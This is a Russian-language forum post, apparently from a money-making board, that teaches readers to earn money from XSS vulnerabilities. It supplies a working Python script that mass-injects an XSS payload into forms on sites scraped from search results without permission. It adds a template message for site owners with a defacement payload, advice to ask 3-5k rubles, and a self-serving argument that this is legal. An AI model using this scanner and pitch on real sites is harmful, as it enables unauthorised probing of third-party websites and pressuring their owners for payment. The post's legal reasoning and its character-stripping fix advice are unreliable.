Заработок на XSS-уязвимостях.
Шалом! В этой теме я расскажу вам о вечно актуальном и прибыльном способе заработка.
Для работы вам не понадобится никаких финансовых вложений, только аккаунт на любой почте.
Введение
Вместе с вами мы будем зарабатывать, ища XSS-уязвимости на сайтах. Вот наш алгоритм работы:
Поиск сайта с XSS-уязвимостью
— Мы можем искать сайты с XSS-уязвимостями вручную, но это требует много времени.
— Я создал Python-скрипт для массовой проверки сайтов на наличие XSS-уязвимостей.
Инструкция по установке
1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды
pip install bs4
pip install requests
pip install colorama
4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt
5. В файл main.py необходимо вставить код предоставленный нижеКод Python:
from colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests
from urllib.parse import urljoin
from pprint import pprint
import time
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
}
init(autoreset=True)
def stop(stop_time):
now_time = time.time()
if stop_time - now_time <= 0:
return True
def save(url):
file = open("goods.txt", "a")
file.write(f"{url}\n")
file.close()
def scan_xss(url, stop_time, timeout):
stop_time = time.time() + stop_time
html = requests.get(url, headers=headers, timeout=timeout)
soup = bs(html.content, "html.parser")
forms = soup.find_all("form")
js_script = "<Script>alert('XSS')</scripT>"
is_vulnerable = False
for form in forms:
if stop(stop_time):
break
details = {}
action = form.attrs.get("action")
method = form.attrs.get("method", "get")
if action != None and not(action.startswith("javascript")):
action = action.lower()
method = method.lower()
else:
break
inputs = []
for input_tag in form.find_all("input"):
input_type = input_tag.attrs.get("type", "text")
input_name = input_tag.attrs.get("name")
inputs.append({"type": input_type, "name": input_name})
details["action"] = action
details["method"] = method
details["inputs"] = inputs
form_details = details
target_url = urljoin(url, form_details["action"])
inputs = form_details["inputs"]
data = {}
for input in inputs:
if input["type"] == "text" or input["type"] == "search":
input["value"] = js_script
input_name = input.get("name")
input_value = input.get("value")
if input_name and input_value:
data[input_name] = input_value
if form_details["method"] == "post":
content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1')
else:
content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1')
if js_script in content:
save(url)
print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:")
pprint(form_details)
if __name__ == "__main__":
urls = open('site.txt', 'r', encoding="UTF-8")
for element in urls:
url = element.replace("\n", "")
print(f"\033[37m{url}")
# Максимальное время проверки одного сайта в секундах (не менее 180)
stop_time = 180
# Максимальное время ожидания ответа от сайта в секундах (не менее 15)
timeout = 20
try:
scan_xss(url, 180, 20)
except:
pass # ваще похуй
urls.close() — Добавьте список сайтов в файл «site.txt».
— Откройте CMD в папке «WORK».
— Введите следующую команду: `python main.py`.
После запуска скрипт начнет проверку сайтов из файла на наличие XSS-уязвимостей. Если уязвимость обнаружена, скрипт выделит URL красным цветом и выведет дополнительную информацию (где именно была найдена уязвимость) белым цветом. Также URL сайта будет записан в файл «goods.txt».
Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.
Откуда брать сайты?
Самое сложное в этом способе заработка — достать список сайтов. Я расскажу вам о способе которым сам пользовался:
Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска — топ 100, выбираем любой регион и жмём на кнопку «Проверить».
После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt.
Связываемся с поддержкой сайта
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.
Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.
FAQ (Вопрос-Ответ)
В этом разделе статьи я написал ответы на часто задаваемые вопросы.
Нарушает ли эта тема закон? (272 статью УК. РФ)
«Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет».
Как устранять уязвимость?
Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: <, >, /, (,). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.
Что писать в тех. поддержку?
Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?
У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (,) из запроса.
Вот один из самых простых примеров эксплуатации данной уязвимости — подмена HTML кода сайта (и стилей CSS)
формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)
Дальше отвечайте в зависимости от развития диалога.
Спрашивают сколько перевести, какую сумму называть?
Я всегда называл 3-5к и получал эту сумму, наглеть и просить больше тут явно не стоит.
Я хочу поподробнее узнать про XSS уязвимость, что стоит почитать\посмотреть?
Рекомендую цикл статей на сайте hackware.ru, в них автор полноценно раскрывает тему с поиском, эксплуатацией и обходом защиты.
Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов
Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, фишинг, подсказки обхода фильтров
Уроки по XSS: Урок 3. Контексты внедрения XSS
Пруфы заработка
Мы с другом суммарно заработали 70 000Р на этой теме, вот последний профит: